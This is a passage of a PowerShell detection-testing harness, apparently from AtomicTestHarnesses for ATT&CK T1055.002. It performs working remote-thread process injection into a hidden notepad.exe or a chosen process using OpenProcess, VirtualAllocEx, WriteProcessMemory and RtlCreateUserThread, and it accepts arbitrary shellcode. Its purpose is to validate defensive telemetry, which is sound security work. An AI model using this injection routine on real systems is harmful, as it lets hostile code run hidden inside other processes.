$TemplatePositionIndependentCodeBytes[([Int] $GUIDCharOffsets[$i])] = $TestGuidChars[$i] } $PositionIndependentCode = $TemplatePositionIndependentCodeBytes } $SHA256 = [Security.Cryptography.SHA256]::Create() $PositionIndependentCodeHash = ($SHA256.ComputeHash($PositionIndependentCode) | ForEach-Object { $_.ToString('X2') }) -join '' if ($ProcessAccessType -eq 'MinimumAccess') { # The minimum set of process access rights required to call VirtualAllocEx, VirtualProtectEx, WriteProcessMemory, and RtlCreateUserThread $TargetProcessAccessRights = [AtomicTestHarnesses_T1055_002.ProcessAccess] 'PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION' } else { $TargetProcessAccessRights = [AtomicTestHarnesses_T1055_002.ProcessAccess]::PROCESS_ALL_ACCESS } if ($MemoryProtectionType -eq 'ReadWriteExecute') { $InitialProtectionConstant = [AtomicTestHarnesses_T1055_002.PageProtection]::PAGE_EXECUTE_READWRITE } else { $InitialProtectionConstant = [AtomicTestHarnesses_T1055_002.PageProtection]::PAGE_READWRITE } #endregion #region Spawn a template notepad.exe process to inject into if a process ID is not specified. if ($ProcessId) { $TargetProcessId = $ProcessId } else { $ProcessStartup = New-CimInstance -ClassName Win32_ProcessStartup -ClientOnly $ProcessStartupInstance = Get-CimInstance -InputObject $ProcessStartup $ProcessStartupInstance.ShowWindow = [UInt16] 0 # Hide the window $ProcStartResult = Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{ CommandLine = 'notepad.exe'; CurrentDirectory = $PWD.Path; ProcessStartupInformation = $ProcessStartupInstance } if ($ProcStartResult.ReturnValue -eq 0) { $TargetProcessId = $ProcStartResult.ProcessId } else { Write-Error "Template notepad.exe process failed to start." return } } $CurrentProcessInformation = Get-CimInstance -ClassName Win32_Process -Filter "ProcessId = $PID" -Property ExecutablePath, CommandLine $TargetProcessInformation = Get-CimInstance -ClassName Win32_Process -Filter "ProcessId = $TargetProcessId" -Property ExecutablePath, CommandLine #endregion #region Obtain a handle to the target process. Write-Verbose 'Attempting to obtain a handle to the remote process.' $TargetProcessHandle = [AtomicTestHarnesses_T1055_002.ProcessNativeMethods]::OpenProcess( $TargetProcessAccessRights, # processAccess $False, # bInheritHandle $TargetProcessId # processId );$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() if ($TargetProcessHandle -eq [IntPtr]::Zero) { $ErrorString = "OpenProcess failed. Error code: 0x$($LastError.NativeErrorCode.ToString('X8')). Reason: $($LastError.Message)" Write-Error $ErrorString return } Write-Verbose 'Successfully obtained a handle to the remote process.' #endregion #region Validate that the remote process is a 64-bit process. Invoke-ATHInjectedThread is not designed to support 32-bit processes nor are there plans to. Write-Verbose 'Validating that the remote process is not a 32-bit process.' [Bool] $IsWow64Process = $False $IsWow64ProcessResult = [AtomicTestHarnesses_T1055_002.ProcessNativeMethods]::IsWow64Process( $TargetProcessHandle, # hProcess [Ref] $IsWow64Process # Wow64Process );$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() if ($IsWow64ProcessResult -eq $False) { $null = [AtomicTestHarnesses_T1055_002.ProcessNativeMethods]::CloseHandle($TargetProcessHandle) $ErrorString = "IsWow64Process failed. Error code: 0x$($LastError.NativeErrorCode.ToString('X8')). Reason: $($LastError.Message)" Write-Error $ErrorString return } if ($IsWow64Process) { $null = [AtomicTestHarnesses_T1055_002.ProcessNativeMethods]::CloseHandle($TargetProcessHandle) $ErrorString = "Target process is a 32-bit process. Invoke-ATHInjectedThread is only designed to inject into a 64-bit process." Write-Error $ErrorString return } #endregion #region Allocate sufficient space in the virtual address space of the target process Write-Verbose 'Attempting to allocate bytes in the remote process.' $TargetProcessBaseAddress = [AtomicTestHarnesses_T1055_002.ProcessNativeMethods]::VirtualAllocEx( $TargetProcessHandle, # hProcess [IntPtr]::Zero, # lpAddress $PositionIndependentCode.Length, # dwSize 0x3000, # flAllocationType $InitialProtectionConstant # flProtect );$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() if ($TargetProcessBaseAddress -eq [IntPtr]::Zero) { $null = [AtomicTestHarnesses_T1055_002.ProcessNativeMethods]::CloseHandle($TargetProcessHandle) $ErrorString = "VirtualAllocEx failed. Error code: 0x$($LastError.NativeErrorCode.ToString('X8')). Reason: $($LastError.Message)" Write-Error $ErrorString return } Write-Verbose 'Successfully allocated bytes in the remote process.' #endregion #region Write position-independent bytes to the process space of the target process Write-Verbose 'Attempting to write bytes into remote process.' $NumberOfBytesWritten = 0 $WriteProcessMemoryResult = [AtomicTestHarnesses_T1055_002.ProcessNativeMethods]::WriteProcessMemory( $TargetProcessHandle, # hProcess $TargetProcessBaseAddress, # lpBaseAddress $PositionIndependentCode, # lpBuffer $PositionIndependentCode.Length, # nSize [Ref] $NumberOfBytesWritten # lpNumberOfBytesWritten );$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() if ($WriteProcessMemoryResult -eq $False) { $null = [AtomicTestHarnesses_T1055_002.ProcessNativeMethods]::CloseHandle($TargetProcessHandle) $ErrorString = "WriteProcessMemory failed. Error code: 0x$($LastError.NativeErrorCode.ToString('X8')). Reason: $($LastError.Message)" Write-Error $ErrorString return } Write-Verbose 'Successfully written bytes into remote process.' Write-Verbose "Number of bytes written to remote process: $NumberOfBytesWritten" #endregion #region Set the remote memory page to PAGE_EXECUTE_READ from PAGE_READWRITE if -MemoryProtectionType is set to ReadExecute if ($MemoryProtectionType -eq 'ReadExecute') { Write-Verbose 'Setting the remote page protections to PAGE_EXECUTE_READ.' $OldProtection = 0 $TargetAllocationPageProtect = [AtomicTestHarnesses_T1055_002.PageProtection]::PAGE_EXECUTE_READ $VirtualProtectExResult = [AtomicTestHarnesses_T1055_002.ProcessNativeMethods]::VirtualProtectEx( $TargetProcessHandle, # hProcess $TargetProcessBaseAddress, # lpAddress $PositionIndependentCode.Length, # dwSize $TargetAllocationPageProtect, # flNewProtect [Ref] $OldProtection # lpflOldProtect );$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() if ($VirtualProtectExResult -eq $False) { $null = [AtomicTestHarnesses_T1055_002.ProcessNativeMethods]::CloseHandle($TargetProcessHandle) $ErrorString = "VirtualProtectEx failed. Error code: 0x$($LastError.NativeErrorCode.ToString('X8')). Reason: $($LastError.Message)" Write-Error $ErrorString return } Write-Verbose 'Successfully set the remote page protections to PAGE_EXECUTE_READ.' } else { $TargetAllocationPageProtect = [AtomicTestHarnesses_T1055_002.PageProtection]::PAGE_EXECUTE_READWRITE } #endregion #region Establish WMI event to detect when template position-indepedent code executes # Remove any stale events Get-Event -SourceIdentifier 'ChildProcSpawned' -ErrorAction SilentlyContinue | Remove-Event Get-EventSubscriber -SourceIdentifier 'ProcessSpawned' -ErrorAction SilentlyContinue | Unregister-Event # Only run the following if -PositionIndependentCodeBytes is not supplied - i.e. the built-in template code is to be used. if (-not $PositionIndependentCodeBytes) { # Trigger an event any time powershell.exe has $TestGuid in the command line. # This event should correspond to the mshta or rundll process that launched it. $WMIEventQuery = "SELECT * FROM __InstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'powershell.exe' AND TargetInstance.CommandLine LIKE '%$($TestGuid)%'" Write-Verbose "Registering PowerShell template command-line WMI event using the following WMI event query: $WMIEventQuery" $null = Register-CimIndicationEvent -SourceIdentifier 'ProcessSpawned' -Query $WMIEventQuery -Action { $SpawnedProcInfo = [PSCustomObject] @{ ProcessId = $EventArgs.NewEvent.TargetInstance.ProcessId ProcessCommandLine = $EventArgs.NewEvent.TargetInstance.CommandLine } New-Event -SourceIdentifier 'ChildProcSpawned' -MessageData $SpawnedProcInfo Stop-Process -Id $EventArgs.NewEvent.TargetInstance.ProcessId -Force } } #endregion #region Start a thread in the remote process Write-Verbose 'Attempting to create a thread in the remote process.' [IntPtr] $RemoteThreadHandle = [IntPtr]::Zero [IntPtr] $CliendId = [IntPtr]::Zero $RtlCreateUserThreadResult = [AtomicTestHarnesses_T1055_002.ProcessNativeMethods]::RtlCreateUserThread( $TargetProcessHandle, # ProcessHandle [IntPtr]::Zero, # SecurityDescriptor $False, # CreateSuspended [IntPtr]::Zero, # StackZeroBits [IntPtr]::Zero, # StackReserved [IntPtr]::Zero, # StackCommit $TargetProcessBaseAddress, # StartAddress [IntPtr]::Zero, # StartParameter [Ref] $RemoteThreadHandle, # ThreadHandle [Ref] $CliendId # ClientID ) # to-do: change this. Actually obtain the thread ID with GetThreadId $ThreadId = $RemoteThreadHandle if ($RtlCreateUserThreadResult) { $null = [AtomicTestHarnesses_T1055_002.ProcessNativeMethods]::CloseHandle($TargetProcessHandle) $ErrorString = "RtlCreateUserThread failed. Error code: 0x$($RtlCreateUserThreadResult.ToString('X8'))." Write-Error $ErrorString return } Write-Verbose 'Successfully created a thread in the remote process.' #endregion #region Wait for template powershell.exe to spawn and obtain process context # Only run the following if -PositionIndependentCodeBytes is not supplied - i.e. the built-in template code is to be used. if (-not $PositionIndependentCodeBytes) { $ChildProcSpawnedEvent = Wait-Event -SourceIdentifier 'ChildProcSpawned' -Timeout 10 $ChildProcInfo = $null if ($ChildProcSpawnedEvent) { $TestSuccess = $True $ChildProcInfo = $ChildProcSpawnedEvent.MessageData $SpawnedProcCommandLine = $ChildProcInfo.ProcessCommandLine $SpawnedProcProcessId = $ChildProcInfo.ProcessId $ChildProcSpawnedEvent | Remove-Event } else { Write-Error "powershell.exe child process was not spawned." } # Cleanup Unregister-Event -SourceIdentifier 'ProcessSpawned' } #endregion [PSCustomObject] @{ TechniqueID = 'T1055.002' TestSuccess = $TestSuccess TestGuid = $TestGuidToUse InjectedCodeBytes = $PositionIndependentCode InjectedCodeHash = $PositionIndependentCodeHash SourceProcessId = $PID SourceExecutablePath = $CurrentProcessInformation.ExecutablePath SourceCommandLine = $CurrentProcessInformation.CommandLine TargetProcessId = $TargetProcessId TargetExecutablePath = $TargetProcessInformation.ExecutablePath TargetCommandLine = $TargetProcessInformation.CommandLine TargetProcessAccess = $TargetProcessAccessRights TargetProcessAccessValue = $TargetProcessAccessRights.value__ TargetBaseAddressHex = $TargetProcessBaseAddress.ToString('X16') TargetAllocationPageProtect = $TargetAllocationPageProtect TargetAllocationPageProtectValue = $TargetAllocationPageProtect.value__ TargetThreadId = $ThreadId TargetChildProcessId = $SpawnedProcProcessId TargetChildProcessCommandLine = $SpawnedProcCommandLine } # Kill the template notepad.exe process if (-not $ProcessId) { Stop-Process -Id $TargetProcessId } # Release handles appropriately $null = [AtomicTestHarnesses_T1055_002.ProcessNativeMethods]::CloseHandle($RemoteThreadHandle) $null = [AtomicTestHarnesses_T1055_002.ProcessNativeMethods]::CloseHandle($TargetProcessHandle) } |